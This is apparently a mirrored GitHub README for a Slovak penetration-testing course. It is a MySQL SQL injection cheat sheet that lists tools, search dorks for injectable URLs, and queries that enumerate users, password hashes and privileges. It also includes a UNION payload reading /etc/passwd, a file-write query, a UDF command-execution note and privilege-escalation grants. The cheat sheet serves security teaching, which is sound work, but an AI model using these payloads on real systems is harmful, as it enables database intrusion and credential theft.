Git Product home page Git Product logo

miroslav-reiter / penetration_testing_sql Goto Github PK

View Code? Open in Web Editor NEW
3.0 1.0 0.0 34 KB

🐱‍💻 Penetration Testing SQL - Materiály, zdrojové kódy, testovacie sady a prípady, zdroje a návody ku kurzom: Penetračné Testovanie, Testovanie softvéru a SQL kurzy

Home Page: https://www.vita.sk/online-kurz-penetracne-testovanie-i-zaciatocnik/

sql testing penetration-testing mysql testing-practices testing-tools penetration-testing-tools penetration-test reiter hack

penetration_testing_sql's Introduction

🐱‍💻 Penetration Testing SQL

Materiály, zdrojové kódy, testovacie sady a prípady, zdroje a návody ku kurzu Penetračné Testovanie, Testovanie softvéru a SQL kurzy

🧰 GUI nástroje

-- GUI nástroje
Havij 
TyrantSQL -- Treba Python 2.*.* + knižnice
SQL Power Injector
Vega

🔨 CMD nástroje

-- CMD nástroje
SQLmap 
Hashcat

🕵️‍♂️ Vyhľadávacie dopyty Google/Bing

-- Vyhľadávacie dopyty Google/Bing
PHP + MySQL
php?id=
asp?id=
jsp?id=

-- SQLzoo hack
?answer=1

💡 SQL skripty

🔎 Verzia DB

-- Verzia DB (Version DB)	
SELECT @@version

📜 Komentáre (Comments)

-- Komentáre (Comments)	
SELECT 1; # comment
SELECT /* comment */ 1;
SELECT 1; -- comment

👤 Aktuálny používateľ (Current User)

-- Aktuálny používateľ (Current User)	
SELECT user();
SELECT system_user();

🧑‍🤝‍🧑 Zoznam používateľov (List Users)

-- Zoznam používateľov (List Users)
SELECT user FROM mysql.user; -- priv

#️⃣ Zoznam hashov hesiel (List Password Hashes)

-- Zoznam hashov hesiel (List Password Hashes)	
SELECT host, user, password FROM mysql.user; -- priv

🔑 Nástroje na lámanie hesiel (Password crackers)

-- Nástroje na lámanie hesiel (Password crackers)
-- Password Cracker	
-- HashCat, John the Ripper will crack MySQL password hashes

📜 Zoznam oprávnení/privilégií (List Privileges)

--  Zoznam oprávnení/privilégií (List Privileges)	
SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges; -- list user privs
SELECT host, user, Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv, File_priv, Grant_priv, References_priv, Index_priv, Alter_priv, Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv, Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user; -- priv, list user privs
SELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges; 

🔒 Zoznam oprávnení/privilégií na databáze (List privs on databases (schemas))

-- Zoznam oprávnení/privilégií na databáze (List privs on databases (schemas))
SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges; -- list privs on columns

🔐 Zoznam DBA admin účtov List (DBA Accounts)

-- Zoznam DBA admin účtov List (DBA Accounts)	
SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'SUPER';   
SELECT host, user FROM mysql.user WHERE Super_priv = 'Y'; # priv   

✅ Názov aktuálne používanej/pripojenej databázy (Current Database)

-- Názov aktuálne používanej/pripojenej databázy (Current Database)	
SELECT database()

📚 Zoznam databáz (List Databases)

-- Zoznam databáz (List Databases)	
SHOW databases;
SELECT schema_name FROM information_schema.schemata; -- for MySQL >= v5.0
SELECT distinct(db) FROM mysql.db -- priv

🧮 Výpis stĺpcov tabuliek (List Columns)

-- List Columns	
SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema'

📋 Zoznam tabuliek (List Tables)

-- Zoznam tabuliek (List Tables)	
SHOW tables;
SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'

📈 Nájdenie tabulky podľa názvu stĺpca (Find Tables From Column Name)

-- Nájdenie tabulky podľa názvu stĺpca (Find Tables From Column Name)	
SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = 'username'; -- find table which have a column called 'username'

🔦 Výber ntého riadku (Select Nth Row)

-- Výber ntého riadku (Select Nth Row)	
SELECT host, user FROM user ORDER BY host LIMIT 1 OFFSET 0; # rows numbered from 0
SELECT host, user FROM user ORDER BY host LIMIT 1 OFFSET 1; # rows numbered from 0

🧲 Výber ntého znaku (Select Nth Char)

-- Výber ntého znaku (Select Nth Char)	
SELECT substr('abcd', 3, 1); # returns c

💥 Bitový AND (Bitwise AND)

-- Bitový AND (Bitwise AND)	
SELECT 6 & 2; # returns 2
SELECT 6 & 1; # returns 0

🔠 ASCII hodnota (ASCII Value -> Char)

-- ASCII hodnota (ASCII Value -> Char)	
SELECT char(65); # returns A  
-- Char -> ASCII Value	  
SELECT ascii('A'); # returns 65   

💯 Pretypovanie (Casting)

--  Pretypovanie (Casting)	
SELECT cast('1' AS unsigned integer);
SELECT cast('123' AS char);

💭 Spájanie reťazcov, zreťazenie (String Concatenation/join)

--  Spájanie reťazcov, zreťazenie (String Concatenation/join)	
SELECT CONCAT('A','B'); # returns AB
SELECT CONCAT('A','B','C'); # returns ABC

🧭 Riadiaca štruktúra/príkaz IF (IF Statement)

-- Riadiaca štruktúra/príkaz IF (IF Statement)	
SELECT if(1=1,'foo','bar'); -- returns 'foo’

Riadiaca štruktúra/príkaz CASE (CASE Statement)

-- Riadiaca štruktúra/príkaz CASE (CASE Statement)	
SELECT CASE WHEN (1=1) THEN 'A' ELSE 'B' END; # returns A

🌶️ Vyhnutie sa uvodzovkám (Avoiding Quotes)

-- Vyhnutie sa uvodzovkám (Avoiding Quotes)	
SELECT 0×414243; # returns ABC

⏲️ Oneskorenie (Time Delay)

-- Oneskorenie (Time Delay)	
SELECT BENCHMARK(1000000, MD5('A'));
SELECT SLEEP(5); # >= 5.0.12

🧪 Vykonávanie príkazov (Command Execution)

-- Vykonávanie príkazov (Command Execution)	
/* If mysqld (<5.0) is running as root AND you compromise a DBA account you can execute OS commands by uploading a shared object file into /usr/lib (or similar).  The .so file should contain a User Defined Function (UDF).  raptor_udf.c explains exactly how you go about this.  Remember to compile for the target architecture which may or may not be the same as your attack platform.
*/

📁 Prístup k lokálnemu súboru (Local File Access)

-- Prístup k lokálnemu súboru (Local File Access)	' UNION ALL SELECT LOAD_FILE('/etc/passwd') --  priv, can only read world-readable files
SELECT * FROM mytable INTO dumpfile '/tmp/somefile'; --  priv, write to file system

💣 Hostname, IP adresa, číslo portu (najčastejšie 3306-3309)(Hostname, IP Address, port)

-- Hostname, IP adresa, číslo portu (najčastejšie 3306-3309)(Hostname, IP Address, port)
SELECT @@hostname;
SHOW VARIABLES WHERE Variable_name = 'port'
SELECT SUBSTRING_INDEX(USER(), '@', -1) AS ip, @@hostname as hostname, @@port as port, DATABASE() as current_database;
mysql> \s
mysql> status

🆒 Vytvorenie používateľa (Create Users)

-- Vytvorenie používateľa (Create Users)
CREATE USER test1 IDENTIFIED BY 'pass1'; -- priv

🆘 Vymazanie používateľa (Delete Users)

-- Vymazanie používateľa (Delete Users)	
DROP USER test1; -- priv

🔥 Sprav z používateľa admina (Make User DBA)

-- Sprav z používateľa admina (Make User DBA)	
GRANT ALL PRIVILEGES ON *.* TO test1@'%'; -- priv

🔋 Umiestnenie databázových súborov (Location of DB files)

-- Umiestnenie databázových súborov (Location of DB files)	
SELECT @@datadir;

⚡ Defaultná systémová databáza/schéma (Default/System Database)

-- Defaultná systémová databáza/schéma (Default/System Database) 
information_schema -- (>= mysql 5.0)
mysql

penetration_testing_sql's People

Contributors

miroslav-reiter avatar

Stargazers

 avatar  avatar

Watchers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.